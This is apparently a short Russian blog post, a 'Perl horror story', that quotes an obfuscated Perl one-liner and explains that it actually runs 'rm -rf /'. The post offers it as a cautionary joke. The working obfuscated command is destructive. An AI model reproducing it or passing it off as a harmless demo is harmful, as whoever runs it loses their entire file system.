Страшилка на Perl

Отличный язык Perl: cat "test...test...test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' Если уже где-нибудь встречали, надеюсь не запустили. :) В итоге запустит "rm -rf /"
Поделиться
Отправить
Популярное